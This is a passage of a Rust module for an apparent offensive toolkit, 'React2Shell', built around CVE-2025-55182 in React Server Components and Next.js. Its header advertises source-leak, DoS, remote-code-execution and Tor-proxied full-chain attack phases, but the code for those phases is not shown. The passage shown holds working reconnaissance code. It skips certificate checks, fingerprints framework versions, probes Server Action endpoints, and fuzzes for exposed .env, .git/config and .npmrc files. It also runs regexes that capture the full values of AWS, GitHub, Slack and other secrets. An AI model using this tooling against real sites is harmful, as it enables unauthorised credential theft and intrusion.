Skip to main content

web_analyzer/
react.rs

1//! # React2Shell — CVE-2025-55182 Scanner, Attacker & Report Generator
2//!
3//! **Enterprise-grade React Server Components vulnerability toolkit.**
4//!
5//! This module provides a complete Rust implementation of the React2Shell toolchain:
6//!
7//! ## Scanner
8//! - Static JS bundle analysis (React & Next.js version detection)
9//! - RSC/Server Action endpoint discovery
10//! - HTTP header analysis for framework fingerprinting
11//! - Sensitive file fuzzing (`.env`, `.git/config`, etc.)
12//! - Secret/API key pattern detection in JS bundles
13//! - Vulnerability evaluation against known-vulnerable version lists
14//!
15//! ## Attacker
16//! - **Phase 1 — Reconnaissance**: Technology stack fingerprinting & version extraction
17//! - **Phase 2 — Source Leak** (CVE-2025-55183): Flight protocol source code exfiltration
18//! - **Phase 3 — DoS** (CVE-2025-55184): Memory/CPU exhaustion via self-referencing payloads
19//! - **Phase 4 — RCE** (CVE-2025-55182): Remote code execution via blob handler exploitation
20//! - **Phase 5 — Full Chain**: Orchestrated multi-phase attack with optional Tor proxying
21//!
22//! ## Report Generator
23//! - Structured JSON reports for all scan/attack phases
24//! - Colored console output with severity indicators
25//! - Aggregate attack report combining all phases
26
27use crate::error::{Result, WebAnalyzerError};
28use chrono::Utc;
29use regex::Regex;
30use reqwest::Client;
31use serde::{Deserialize, Serialize};
32use std::collections::HashSet;
33use std::time::{Duration, Instant};
34
35// ═════════════════════════════════════════════════════════════════════════════
36// Result Types
37// ═════════════════════════════════════════════════════════════════════════════
38
39/// Version information detected from a source.
40#[derive(Debug, Clone, Serialize, Deserialize)]
41pub struct VersionInfo {
42    pub version: String,
43    pub source: String,
44    pub context: String,
45}
46
47/// A discovered software dependency with version.
48#[derive(Debug, Clone, Serialize, Deserialize)]
49pub struct DependencyInfo {
50    pub name: String,
51    pub version: String,
52    pub source: String,
53    pub context: String,
54}
55
56/// A detected secret/credential.
57#[derive(Debug, Clone, Serialize, Deserialize)]
58pub struct SecretInfo {
59    pub secret_type: String,
60    pub value: String,
61    pub source: String,
62    pub context: String,
63}
64
65/// An exposed sensitive file discovered during fuzzing.
66#[derive(Debug, Clone, Serialize, Deserialize)]
67pub struct ExposedFile {
68    pub path: String,
69    pub url: String,
70    pub context: String,
71}
72
73/// Full results from a React2Shell vulnerability scan.
74#[derive(Debug, Clone, Serialize, Deserialize)]
75pub struct ScanResult {
76    pub url: String,
77    pub is_nextjs: bool,
78    pub nextjs_version: Option<VersionInfo>,
79    pub react_version: Option<VersionInfo>,
80    pub rsc_enabled: bool,
81    pub vulnerable: bool,
82    pub dependencies: Vec<DependencyInfo>,
83    pub exposed_files: Vec<ExposedFile>,
84    pub secrets: Vec<SecretInfo>,
85    pub details: Vec<String>,
86    pub scan_duration_ms: u64,
87}
88
89/// Reconnaissance phase result.
90#[derive(Debug, Clone, Serialize, Deserialize)]
91pub struct ReconResult {
92    pub target: String,
93    pub timestamp: String,
94    pub nextjs_version: Option<String>,
95    pub react_version: Option<String>,
96    pub is_app_router: bool,
97    pub rsc_endpoints: Vec<RscEndpoint>,
98    pub vulnerable: bool,
99}
100
101/// A discovered RSC/Server Action endpoint.
102#[derive(Debug, Clone, Serialize, Deserialize)]
103pub struct RscEndpoint {
104    pub path: String,
105    pub method: String,
106    pub content_type: String,
107    pub notes: String,
108}
109
110/// A finding from source code leak analysis.
111#[derive(Debug, Clone, Serialize, Deserialize)]
112pub struct SourceLeakFinding {
113    pub pattern: String,
114    pub matched: String,
115    pub context: String,
116}
117
118/// Source leak attack result.
119#[derive(Debug, Clone, Serialize, Deserialize)]
120pub struct SourceLeakResult {
121    pub target: String,
122    pub success: bool,
123    pub bytes_leaked: usize,
124    pub leaked_source: String,
125    pub findings: Vec<SourceLeakFinding>,
126}
127
128/// DoS test result.
129#[derive(Debug, Clone, Serialize, Deserialize)]
130pub struct DosResult {
131    pub target: String,
132    pub baseline_ms: f64,
133    pub attack_elapsed_ms: f64,
134    pub dos_successful: bool,
135    pub server_recovered: bool,
136    pub effect_multiplier: f64,
137}
138
139/// RCE execution result.
140#[derive(Debug, Clone, Serialize, Deserialize)]
141pub struct RceResult {
142    pub target: String,
143    pub success: bool,
144    pub poc_file_created: bool,
145    pub command_outputs: Vec<RceCommandOutput>,
146}
147
148/// Output from a single RCE command execution.
149#[derive(Debug, Clone, Serialize, Deserialize)]
150pub struct RceCommandOutput {
151    pub command: String,
152    pub output: String,
153    pub exit_code: i32,
154    pub error: String,
155}
156
157/// Result of a single attack phase.
158#[derive(Debug, Clone, Serialize, Deserialize)]
159pub struct AttackPhaseResult {
160    pub phase: String,
161    pub success: bool,
162    pub duration_ms: u64,
163    pub details: String,
164}
165
166/// Combined full-chain attack result.
167#[derive(Debug, Clone, Serialize, Deserialize)]
168pub struct FullChainResult {
169    pub target: String,
170    pub timestamp: String,
171    pub phases: Vec<AttackPhaseResult>,
172    pub total_duration_ms: u64,
173    pub tor_enabled: bool,
174    pub scan: Option<ScanResult>,
175    pub recon: Option<ReconResult>,
176    pub source_leak: Option<SourceLeakResult>,
177    pub dos: Option<DosResult>,
178    pub rce: Option<RceResult>,
179}
180
181/// Aggregate attack report combining scan + attack results.
182#[derive(Debug, Clone, Serialize, Deserialize)]
183pub struct AttackReport {
184    pub target: String,
185    pub generated_at: String,
186    pub scan: Option<ScanResult>,
187    pub recon: Option<ReconResult>,
188    pub source_leak: Option<SourceLeakResult>,
189    pub dos: Option<DosResult>,
190    pub rce: Option<RceResult>,
191    pub full_chain: Option<FullChainResult>,
192    pub summary: ReportSummary,
193}
194
195#[derive(Debug, Clone, Serialize, Deserialize)]
196pub struct ReportSummary {
197    pub rsc_active: bool,
198    pub framework_detected: bool,
199    pub version_found: bool,
200    pub vulnerability_verdict: String,
201    pub attack_phases_completed: Vec<String>,
202    pub risk_level: String,
203}
204
205// ═════════════════════════════════════════════════════════════════════════════
206// Constants
207// ═════════════════════════════════════════════════════════════════════════════
208
209/// Known vulnerable React versions (CVE-2025-55182).
210const VULNERABLE_REACT: &[&str] = &[
211    "19.0.0", "19.1.0", "19.1.1", "19.2.0", "18.3.0-canary",
212];
213
214/// Known vulnerable Next.js versions (CVE-2025-55182).
215const VULNERABLE_NEXT: &[&str] = &[
216    "14.3.0-canary",
217    "15.0.0", "15.0.1", "15.0.2", "15.0.3", "15.0.4",
218    "15.1.0", "15.1.1", "15.1.2", "15.1.3", "15.1.4",
219    "15.1.5", "15.1.6", "15.1.7", "15.1.8",
220    "15.2.0", "15.2.1", "15.2.2", "15.2.3", "15.2.4", "15.2.5",
221    "15.3.0", "15.3.1", "15.3.2", "15.3.3", "15.3.4", "15.3.5",
222    "15.4.0", "15.4.1", "15.4.2", "15.4.3", "15.4.4",
223    "15.4.5", "15.4.6", "15.4.7",
224    "15.5.0", "15.5.1", "15.5.2", "15.5.3", "15.5.4",
225    "15.5.5", "15.5.6",
226    "16.0.0", "16.0.1", "16.0.2", "16.0.3", "16.0.4",
227    "16.0.5", "16.0.6",
228];
229
230/// Sensitive file paths to fuzz.
231const SENSITIVE_PATHS: &[&str] = &[
232    ".env", ".env.local", ".env.development", ".env.production", ".env.test",
233    ".git/config", ".git/HEAD", "package.json", "package-lock.json",
234    "docker-compose.yml", "Dockerfile", ".npmrc", "yarn.lock",
235    "next.config.js", "tsconfig.json", ".vscode/settings.json",
236    "web.config", "robots.txt",
237];
238
239/// Secret detection patterns: (name, regex).
240const SECRET_PATTERNS: &[(&str, &str)] = &[
241    ("Google API Key", r"AIza[0-9A-Za-z\-_]{35}"),
242    ("Firebase URL", r"https://[a-z0-9\-]+\.firebaseio\.com"),
243    ("Slack Webhook", r"https://hooks\.slack\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+"),
244    ("AWS Access Key", r"AKIA[0-9A-Z]{16}"),
245    ("AWS Secret Key", r#"secret_?key\s*[:=]\s*['\"][0-9a-zA-Z/+]{40}['\"]"#),
246    ("JWT Token", r"ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*"),
247    ("GitHub Token", r"gh[oprs]_[a-zA-Z0-9]{36,}"),
248    ("Discord Webhook", r"https://discord\.com/api/webhooks/[0-9]+/[a-zA-Z0-9\-]+"),
249    ("Generic API Key", r#"(?:api_?key|auth_?token|access_?token)\s*[:=]\s*['\"][0-9a-zA-Z\-_]{16,}['\"]"#),
250];
251
252/// Sensitive data extraction patterns for source leak analysis.
253const SOURCE_LEAK_PATTERNS: &[&str] = &[
254    r"(?i)(api[_-]?key|api[_-]?secret)",
255    r"(?i)(db[_-]?password|database[_-]?url)",
256    r"(?i)(jwt[_-]?secret|signing[_-]?key)",
257    r"(?i)(token|bearer|auth)",
258    r"(?i)(postgresql://|mysql://|mongodb://)",
259    r"(?i)(sk_live|pk_live|sk_test)",
260];
261
262/// JavaScript file priority keywords (files matching these are scanned first).
263const JS_PRIORITY_KEYWORDS: &[&str] = &[
264    "framework", "main", "webpack", "app", "pages", "layout",
265];
266
267// ═════════════════════════════════════════════════════════════════════════════
268// ANSI Color Helpers
269// ═════════════════════════════════════════════════════════════════════════════
270
271struct Color;
272
273impl Color {
274    pub const RED: &'static str = "\x1b[91m";
275    pub const GREEN: &'static str = "\x1b[92m";
276    pub const YELLOW: &'static str = "\x1b[93m";
277    #[allow(dead_code)]
278    pub const BLUE: &'static str = "\x1b[94m";
279    pub const MAGENTA: &'static str = "\x1b[95m";
280    pub const CYAN: &'static str = "\x1b[96m";
281    pub const WHITE: &'static str = "\x1b[97m";
282    pub const BOLD: &'static str = "\x1b[1m";
283    pub const DIM: &'static str = "\x1b[2m";
284    pub const RESET: &'static str = "\x1b[0m";
285    pub const BG_RED: &'static str = "\x1b[41m";
286    pub const BG_GREEN: &'static str = "\x1b[42m";
287}
288
289// ═════════════════════════════════════════════════════════════════════════════
290// Utility Functions
291// ═════════════════════════════════════════════════════════════════════════════
292
293/// Check if a React version is in the known-vulnerable list.
294pub fn is_react_vulnerable(version: &str) -> bool {
295    VULNERABLE_REACT.iter().any(|v| version.starts_with(v))
296}
297
298/// Check if a Next.js version is in the known-vulnerable list.
299pub fn is_nextjs_vulnerable(version: &str) -> bool {
300    VULNERABLE_NEXT.iter().any(|v| version.starts_with(v))
301}
302
303/// Build a reqwest Client that skips TLS verification (pentesting mode).
304fn build_insecure_client() -> Result<Client> {
305    Client::builder()
306        .danger_accept_invalid_certs(true)
307        .user_agent("React2Shell-Scanner/2.0 (Rust/Pentest)")
308        .timeout(Duration::from_secs(15))
309        .build()
310        .map_err(|e| WebAnalyzerError::Http(e))
311}
312
313/// Build a reqwest Client with a custom timeout.
314fn build_client_with_timeout(secs: u64) -> Result<Client> {
315    Client::builder()
316        .danger_accept_invalid_certs(true)
317        .user_agent("React2Shell-Scanner/2.0 (Rust/Pentest)")
318        .timeout(Duration::from_secs(secs))
319        .build()
320        .map_err(|e| WebAnalyzerError::Http(e))
321}
322
323/// Return a context window around a match position in a string.
324fn context_window(text: &str, start: usize, end: usize, window: usize) -> String {
325    let s = if start > window { start - window } else { 0 };
326    let e = std::cmp::min(text.len(), end + window);
327    text[s..e].to_string()
328}
329
330// ═════════════════════════════════════════════════════════════════════════════
331// Scanner
332// ═════════════════════════════════════════════════════════════════════════════
333
334/// React2Shell vulnerability scanner for detecting CVE-2025-55182.
335///
336/// Performs header analysis, JS bundle fingerprinting, RSC endpoint detection,
337/// sensitive file fuzzing, and secret extraction.
338pub struct React2ShellScanner {
339    target: String,
340    client: Client,
341    results: ScanResult,
342}
343
344impl React2ShellScanner {
345    /// Create a new scanner for the given target URL.
346    pub async fn new(target: &str) -> Result<Self> {
347        let target = target.trim_end_matches('/').to_string();
348        Ok(Self {
349            target: target.clone(),
350            client: build_insecure_client()?,
351            results: ScanResult {
352                url: target,
353                is_nextjs: false,
354                nextjs_version: None,
355                react_version: None,
356                rsc_enabled: false,
357                vulnerable: false,
358                dependencies: Vec::new(),
359                exposed_files: Vec::new(),
360                secrets: Vec::new(),
361                details: Vec::new(),
362                scan_duration_ms: 0,
363            },
364        })
365    }
366
367    fn add_detail(&mut self, detail: &str) {
368        self.results.details.push(detail.to_string());
369    }
370
371    // ── Header Analysis ──────────────────────────────────────────────────
372
373    /// Analyze HTTP response headers for Next.js/React indicators.
374    pub async fn analyze_headers(&mut self) -> Result<()> {
375        let resp = match self.client.head(&self.target).send().await {
376            Ok(r) => r,
377            Err(_) => {
378                self.add_detail("Header analysis: HEAD request failed, trying GET.");
379                self.client.get(&self.target).send().await.map_err(|e| {
380                    WebAnalyzerError::Http(e)
381                })?
382            }
383        };
384
385        let headers = resp.headers();
386        let x_powered_by = headers
387            .get("x-powered-by")
388            .and_then(|v| v.to_str().ok())
389            .unwrap_or("")
390            .to_lowercase();
391
392        if x_powered_by.contains("next.js") {
393            self.results.is_nextjs = true;
394            self.add_detail("Header 'X-Powered-By' indicates Next.js.");
395
396            // Try to extract version from the header value
397            if let Ok(re) = Regex::new(r"next\.js\s*([\d\.]+)") {
398                if let Some(caps) = re.captures(&x_powered_by) {
399                    let ver = caps.get(1).unwrap().as_str().to_string();
400                    self.results.nextjs_version = Some(VersionInfo {
401                        version: ver.clone(),
402                        source: self.target.clone(),
403                        context: format!("x-powered-by: {}", x_powered_by),
404                    });
405                    self.add_detail(&format!(
406                        "Next.js version detected from headers: {}",
407                        ver
408                    ));
409                }
410            }
411        }
412
413        // Check for X-NextJS-* custom headers
414        let has_nextjs_headers = headers
415            .keys()
416            .any(|k| k.as_str().to_lowercase().starts_with("x-nextjs"));
417        if has_nextjs_headers {
418            self.results.is_nextjs = true;
419            self.add_detail("Custom 'X-NextJS-*' headers detected.");
420        }
421
422        // Check for Next.js-specific cookies
423        if let Some(cookie) = headers.get("set-cookie").and_then(|v| v.to_str().ok()) {
424            if cookie.contains("__prerender_bypass") {
425                self.results.is_nextjs = true;
426                self.add_detail("Next.js prerender bypass cookie detected.");
427            }
428        }
429        if headers.contains_key("x-invoke-path") {
430            self.results.is_nextjs = true;
431            self.add_detail("Next.js 'x-invoke-path' header detected.");
432        }
433
434        Ok(())
435    }
436
437    // ── Static Bundle Analysis ───────────────────────────────────────────
438
439    /// Fetch the target HTML and analyze embedded JS bundles for versions.
440    pub async fn fetch_static_bundles(&mut self) -> Result<()> {
441        let resp = self.client.get(&self.target).send().await.map_err(|e| {
442            WebAnalyzerError::Http(e)
443        })?;
444
445        let html = resp.text().await.map_err(|e| {
446            WebAnalyzerError::Other(format!("Failed to read response body: {}", e))
447        })?;
448
449        // Check generator meta tag for Next.js
450        if let Ok(re) = Regex::new(
451            r#"<meta[^>]+name=["']generator["'][^>]+content=["']Next\.js\s+(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
452        ) {
453            if let Some(caps) = re.captures(&html) {
454                let ver = caps.get(1).unwrap().as_str().to_string();
455                if self.results.nextjs_version.is_none() {
456                    let ctx = context_window(&html, caps.get(0).unwrap().start(), caps.get(0).unwrap().end(), 30);
457                    self.results.nextjs_version = Some(VersionInfo {
458                        version: ver.clone(),
459                        source: self.target.clone(),
460                        context: ctx,
461                    });
462                    self.results.is_nextjs = true;
463                    self.add_detail(&format!(
464                        "Next.js version detected from HTML meta tag: {}",
465                        ver
466                    ));
467                }
468            }
469        }
470
471        // Check for Next.js App Router (RSC-enabled)
472        if html.contains("_next/static/chunks/app/")
473            || html.contains("app-pages-internals")
474            || html.contains("self.__next_f")
475        {
476            self.results.is_nextjs = true;
477            self.results.rsc_enabled = true;
478            self.add_detail("Next.js App Router detected (RSC active).");
479        } else if html.contains("id=\"__NEXT_DATA__\"") || html.contains("_next/static") {
480            self.results.is_nextjs = true;
481            self.add_detail("Next.js Pages Router or static file structure detected.");
482        }
483
484        // Verify with build-manifest.json if still uncertain
485        if !self.results.is_nextjs {
486            let manifest_url = format!("{}/_next/build-manifest.json", self.target);
487            if let Ok(resp) = self.client.get(&manifest_url).send().await {
488                if resp.status().is_success() {
489                    if let Ok(body) = resp.text().await {
490                        if body.contains("pages") {
491                            self.results.is_nextjs = true;
492                            self.add_detail(
493                                "/_next/build-manifest.json accessible — confirmed Next.js.",
494                            );
495                        }
496                    }
497                }
498            }
499        }
500
501        // Extract JS file paths from HTML
502        let js_pattern = Regex::new(r"(/_next/static/[a-zA-Z0-9_/\-\.]+\.js)").unwrap();
503        let js_files: HashSet<String> = js_pattern
504            .find_iter(&html)
505            .map(|m| m.as_str().to_string())
506            .collect();
507
508        if !js_files.is_empty() {
509            self.add_detail(&format!(
510                "Found {} static JS files. Starting version analysis...",
511                js_files.len()
512            ));
513            self.extract_versions_from_js(js_files).await;
514        }
515
516        Ok(())
517    }
518
519    /// Download JS bundles and extract version information.
520    async fn extract_versions_from_js(&mut self, initial_js_files: HashSet<String>) {
521        let mut scanned: HashSet<String> = HashSet::new();
522        let mut to_scan: Vec<String> = initial_js_files.into_iter().collect();
523
524        // Sort by priority keywords
525        to_scan.sort_by(|a, b| {
526            let a_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| a.contains(k));
527            let b_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| b.contains(k));
528            b_prio.cmp(&a_prio)
529        });
530
531        let max_files = 100usize;
532
533        while let Some(js_path) = to_scan.pop() {
534            if scanned.contains(&js_path) || scanned.len() >= max_files {
535                continue;
536            }
537            scanned.insert(js_path.clone());
538
539            let js_url = if js_path.starts_with("http") {
540                js_path.clone()
541            } else {
542                format!("{}{}", self.target, js_path)
543            };
544
545            let js_content = match self.client.get(&js_url).send().await {
546                Ok(resp) if resp.status().is_success() => match resp.text().await {
547                    Ok(t) => t,
548                    Err(_) => continue,
549                },
550                _ => continue,
551            };
552
553            // Discover new chunk references
554            let new_js_re = Regex::new(r#"["'](/[a-zA-Z0-9_/\-\.]+\.js)["']"#).unwrap();
555            let chunk_re = Regex::new(r"static/chunks/[a-zA-Z0-9_/\-\.]+\.js").unwrap();
556
557            for m in new_js_re.find_iter(&js_content) {
558                let path = m.as_str().trim_matches(&['"', '\''][..]).to_string();
559                if !scanned.contains(&path) && !to_scan.contains(&path) {
560                    to_scan.push(path);
561                }
562            }
563            for m in chunk_re.find_iter(&js_content) {
564                let path = format!("/_next/{}", m.as_str());
565                if !scanned.contains(&path) && !to_scan.contains(&path) {
566                    to_scan.push(path);
567                }
568            }
569
570            // Re-sort after adding new files
571            to_scan.sort_by(|a, b| {
572                let a_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| a.contains(k));
573                let b_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| b.contains(k));
574                b_prio.cmp(&a_prio)
575            });
576
577            // Extract package versions via /*! ... */ banner comments
578            let pkg_re = Regex::new(
579                r"/\*!\s*(?:[A-Za-z0-9_\-\.\@\/]+\s+)?([a-zA-Z0-9_\-\.\@\/]+)\s+[vV]?([0-9]+\.[0-9]+\.[0-9]+[a-zA-Z0-9_\-\.]*)\s*\*/",
580            )
581            .unwrap();
582
583            for caps in pkg_re.captures_iter(&js_content) {
584                let name = caps.get(1).unwrap().as_str().to_string();
585                let version = caps.get(2).unwrap().as_str().to_string();
586                if !self.results.dependencies.iter().any(|d| d.name == name) {
587                    let ctx = context_window(
588                        &js_content,
589                        caps.get(0).unwrap().start(),
590                        caps.get(0).unwrap().end(),
591                        30,
592                    );
593                    self.results.dependencies.push(DependencyInfo {
594                        name: name.clone(),
595                        version: version.clone(),
596                        source: js_url.clone(),
597                        context: ctx,
598                    });
599                    self.add_detail(&format!("Dependency detected: {} (v{})", name, version));
600                }
601            }
602
603            // Extract embedded package.json-style definitions
604            let embedded_re = Regex::new(
605                r#"(?:name|pkg|package)\s*:\s*["']([a-zA-Z0-9_\-\.\@\/]+)["']\s*,\s*(?:version|ver)\s*:\s*["']([0-9]+\.[0-9]+\.[0-9]+[a-zA-Z0-9_\-\.]*)["']"#,
606            )
607            .unwrap();
608
609            for caps in embedded_re.captures_iter(&js_content) {
610                let name = caps.get(1).unwrap().as_str().to_string();
611                let version = caps.get(2).unwrap().as_str().to_string();
612                if name.len() > 1 && version.len() > 1
613                    && !self.results.dependencies.iter().any(|d| d.name == name)
614                {
615                    let ctx = context_window(
616                        &js_content,
617                        caps.get(0).unwrap().start(),
618                        caps.get(0).unwrap().end(),
619                        30,
620                    );
621                    self.results.dependencies.push(DependencyInfo {
622                        name: name.clone(),
623                        version: version.clone(),
624                        source: js_url.clone(),
625                        context: ctx,
626                    });
627                    self.add_detail(&format!(
628                        "Embedded dependency detected: {} (v{})",
629                        name, version
630                    ));
631                }
632            }
633
634            // Look for React version
635            if self.results.react_version.is_none() {
636                self.try_extract_react_version(&js_content, &js_url);
637            }
638
639            // Look for Next.js version
640            if self.results.nextjs_version.is_none() {
641                self.try_extract_nextjs_version(&js_content, &js_url);
642            }
643
644            // Scan for secrets
645            self.detect_secrets(&js_content, &js_url);
646        }
647
648        // Fallback: try /api/health endpoint
649        if self.results.react_version.is_none() || self.results.nextjs_version.is_none() {
650            let health_url = format!("{}/api/health", self.target);
651            if let Ok(resp) = self.client.get(&health_url).send().await {
652                if resp.status().is_success() {
653                    if let Ok(data) = resp.json::<serde_json::Value>().await {
654                        if let Some(versions) = data.get("version") {
655                            if self.results.react_version.is_none() {
656                                if let Some(react_ver) = versions.get("react").and_then(|v| v.as_str()) {
657                                    self.results.react_version = Some(VersionInfo {
658                                        version: react_ver.to_string(),
659                                        source: health_url.clone(),
660                                        context: data.to_string(),
661                                    });
662                                    self.add_detail(&format!(
663                                        "/api/health revealed React version: {}",
664                                        react_ver
665                                    ));
666                                }
667                            }
668                            if self.results.nextjs_version.is_none() {
669                                if let Some(next_ver) = versions.get("next").and_then(|v| v.as_str()) {
670                                    self.results.nextjs_version = Some(VersionInfo {
671                                        version: next_ver.to_string(),
672                                        source: health_url.clone(),
673                                        context: data.to_string(),
674                                    });
675                                    self.add_detail(&format!(
676                                        "/api/health revealed Next.js version: {}",
677                                        next_ver
678                                    ));
679                                }
680                            }
681                        }
682                    }
683                }
684            }
685        }
686    }
687
688    fn try_extract_react_version(&mut self, js_content: &str, source_url: &str) {
689        let patterns = [
690            (r"react(?:@|[\s\-\_]*v?)(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)", false),
691            (r#"reconcilerVersion\s*[:=]\s*["'](1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#, true),
692            (r#"(?:version|ReactVersion)\s*[:=]\s*["'](1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#, true),
693            (r#""react"\s*:\s*"[^"]*(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)[^"]*""#, false),
694            (r"react-dom(?:@|[\s\-\_]*v?)(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)", false),
695        ];
696
697        for (pattern, requires_react_context) in &patterns {
698            if let Ok(re) = Regex::new(pattern) {
699                if let Some(caps) = re.captures(js_content) {
700                    let version = caps.get(1).unwrap().as_str().to_string();
701                    if *requires_react_context {
702                        let lower = js_content.to_lowercase();
703                        if lower.contains("react")
704                            || lower.contains("uselayouteffect")
705                            || lower.contains("usestate")
706                        {
707                            let ctx = context_window(
708                                js_content,
709                                caps.get(0).unwrap().start(),
710                                caps.get(0).unwrap().end(),
711                                30,
712                            );
713                            self.results.react_version = Some(VersionInfo {
714                                version: version.clone(),
715                                source: source_url.to_string(),
716                                context: ctx,
717                            });
718                            self.add_detail(&format!(
719                                "React version detected in JS bundle: {}",
720                                version
721                            ));
722                            return;
723                        }
724                    } else {
725                        let ctx = context_window(
726                            js_content,
727                            caps.get(0).unwrap().start(),
728                            caps.get(0).unwrap().end(),
729                            30,
730                        );
731                        self.results.react_version = Some(VersionInfo {
732                            version: version.clone(),
733                            source: source_url.to_string(),
734                            context: ctx,
735                        });
736                        self.add_detail(&format!(
737                            "React version detected in JS bundle: {}",
738                            version
739                        ));
740                        return;
741                    }
742                }
743            }
744        }
745    }
746
747    fn try_extract_nextjs_version(&mut self, js_content: &str, source_url: &str) {
748        let patterns = [
749            (r"next(?:@|[\s\-\_]*v?)(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)", false),
750            (r#"window\.next\s*=\s*\{.*?version:\s*["'](1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#, false),
751            (r#"(?:__NEXT_VERSION|nextVersion|version)\s*[:=]\s*["'](1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#, true),
752            (r#""next"\s*:\s*"[^"]*(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)[^"]*""#, false),
753        ];
754
755        for (pattern, requires_nextjs_context) in &patterns {
756            if let Ok(re) = Regex::new(pattern) {
757                if let Some(caps) = re.captures(js_content) {
758                    let version = caps.get(1).unwrap().as_str().to_string();
759                    if *requires_nextjs_context {
760                        let lower = js_content.to_lowercase();
761                        if lower.contains("next")
762                            || lower.contains("app-router")
763                            || lower.contains("window.next")
764                        {
765                            let ctx = context_window(
766                                js_content,
767                                caps.get(0).unwrap().start(),
768                                caps.get(0).unwrap().end(),
769                                30,
770                            );
771                            self.results.nextjs_version = Some(VersionInfo {
772                                version: version.clone(),
773                                source: source_url.to_string(),
774                                context: ctx,
775                            });
776                            self.add_detail(&format!(
777                                "Next.js version detected in JS bundle: {}",
778                                version
779                            ));
780                            return;
781                        }
782                    } else {
783                        let ctx = context_window(
784                            js_content,
785                            caps.get(0).unwrap().start(),
786                            caps.get(0).unwrap().end(),
787                            30,
788                        );
789                        self.results.nextjs_version = Some(VersionInfo {
790                            version: version.clone(),
791                            source: source_url.to_string(),
792                            context: ctx,
793                        });
794                        self.add_detail(&format!(
795                            "Next.js version detected in JS bundle: {}",
796                            version
797                        ));
798                        return;
799                    }
800                }
801            }
802        }
803    }
804
805    // ── Secret Detection ─────────────────────────────────────────────────
806
807    /// Scan content for secrets (API keys, tokens, etc.).
808    fn detect_secrets(&mut self, content: &str, source_url: &str) {
809        for (name, pattern) in SECRET_PATTERNS {
810            if let Ok(re) = Regex::new(pattern) {
811                for m in re.find_iter(content) {
812                    let val = m.as_str().to_string();
813                    if !self.results.secrets.iter().any(|s| s.value == val) {
814                        let ctx = context_window(content, m.start(), m.end(), 30);
815                        self.results.secrets.push(SecretInfo {
816                            secret_type: name.to_string(),
817                            value: val,
818                            source: source_url.to_string(),
819                            context: ctx,
820                        });
821                        self.add_detail(&format!(
822                            "Secret detected: {} ({})",
823                            name, source_url
824                        ));
825                    }
826                }
827            }
828        }
829    }
830
831    // ── Flight Protocol Check ────────────────────────────────────────────
832
833    /// Test whether the target supports RSC/Server Actions (Flight protocol).
834    pub async fn check_flight_protocol(&mut self) -> Result<()> {
835        let headers: Vec<(&str, &str)> = vec![
836            ("RSC", "1"),
837            ("Content-Type", "text/x-component"),
838            ("Next-Action", "test-action"),
839            (
840                "Next-Router-State-Tree",
841                "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
842            ),
843        ];
844
845        let mut req = self.client.post(&self.target).body("[]".to_string());
846        for (k, v) in &headers {
847            req = req.header(*k, *v);
848        }
849
850        match req.send().await {
851            Ok(resp) => {
852                let resp_headers = resp.headers().clone();
853                let content_type = resp_headers
854                    .get("content-type")
855                    .and_then(|v| v.to_str().ok())
856                    .unwrap_or("")
857                    .to_lowercase();
858
859                if content_type.contains("text/x-component") {
860                    self.results.rsc_enabled = true;
861                    self.add_detail(
862                        "Flight protocol active! Server supports RSC & Server Actions.",
863                    );
864                } else if [400u16, 500].contains(&resp.status().as_u16()) {
865                    if let Ok(body) = resp.text().await {
866                        let lower = body.to_lowercase();
867                        if lower.contains("action") || lower.contains("flight") {
868                            self.results.rsc_enabled = true;
869                            self.add_detail(
870                                "Flight protocol error received. RSC active but payload rejected.",
871                            );
872                        }
873                    }
874                }
875            }
876            Err(e) => {
877                self.add_detail(&format!("Flight protocol test error: {}", e));
878            }
879        }
880
881        Ok(())
882    }
883
884    // ── Sensitive File Fuzzing ───────────────────────────────────────────
885
886    /// Fuzz for exposed sensitive files.
887    pub async fn fuzz_sensitive_files(&mut self) -> Result<()> {
888        self.add_detail("Starting sensitive file fuzzing...");
889        self.results.exposed_files.clear();
890
891        for path in SENSITIVE_PATHS {
892            let url = format!("{}/{}", self.target, path.trim_start_matches('/'));
893            match self.client.get(&url).send().await {
894                Ok(resp) if resp.status().is_success() => {
895                    let content_type = resp
896                        .headers()
897                        .get("content-type")
898                        .and_then(|v| v.to_str().ok())
899                        .unwrap_or("");
900                    // Anti-false-positive: skip HTML pages
901                    if content_type.contains("text/html") {
902                        continue;
903                    }
904                    match resp.text().await {
905                        Ok(body) => {
906                            if body.len() < 100 || !body[..100].to_lowercase().contains("<html") {
907                                let ctx = if body.len() > 200 {
908                                    format!("{}...", &body[..200])
909                                } else {
910                                    body.clone()
911                                };
912                                self.results.exposed_files.push(ExposedFile {
913                                    path: path.to_string(),
914                                    url: url.clone(),
915                                    context: ctx,
916                                });
917                                self.add_detail(&format!("Exposed sensitive file: {} ({})", path, url));
918                            }
919                        }
920                        Err(_) => {}
921                    }
922                }
923                _ => {}
924            }
925        }
926
927        Ok(())
928    }
929
930    // ── Vulnerability Evaluation ─────────────────────────────────────────
931
932    /// Evaluate whether the target is vulnerable to CVE-2025-55182.
933    pub fn evaluate_vulnerability(&mut self) {
934        let mut is_react_vuln = false;
935        let mut is_next_vuln = false;
936
937        if let Some(ref ver_info) = self.results.react_version {
938            if is_react_vulnerable(&ver_info.version) {
939                is_react_vuln = true;
940                self.add_detail(&format!(
941                    "React {} is in the vulnerable versions list!",
942                    ver_info.version
943                ));
944            }
945        }
